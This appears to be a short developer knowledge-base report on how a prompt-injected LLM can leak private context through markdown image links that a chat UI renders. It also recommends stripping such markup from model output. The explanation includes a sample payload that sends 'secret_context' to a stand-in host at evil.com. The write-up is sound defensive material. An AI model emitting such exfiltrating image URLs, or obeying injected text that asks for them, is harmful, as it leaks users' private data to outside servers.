Report #35476
[gotcha] How does my LLM leak private context to external servers without API access?
Strip all markdown image syntax \!\[...\]\(...\) and HTML tags from LLM outputs before rendering them in a UI, or block the rendering domain. Ensure the LLM cannot construct URLs containing sensitive data.
Journey Context:
Developers assume that without explicit web-browsing tools, the LLM cannot reach the internet. However, if the chat UI renders markdown, a prompt injection can cause the LLM to generate an image tag where the URL contains the stolen data as a query parameter \(e.g., \!\[a\]\(https://evil.com/log?data=secret\_context\)\). When the UI renders it, the browser sends a GET request, exfiltrating the data.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T14:01:00.902121+00:00— report_created — created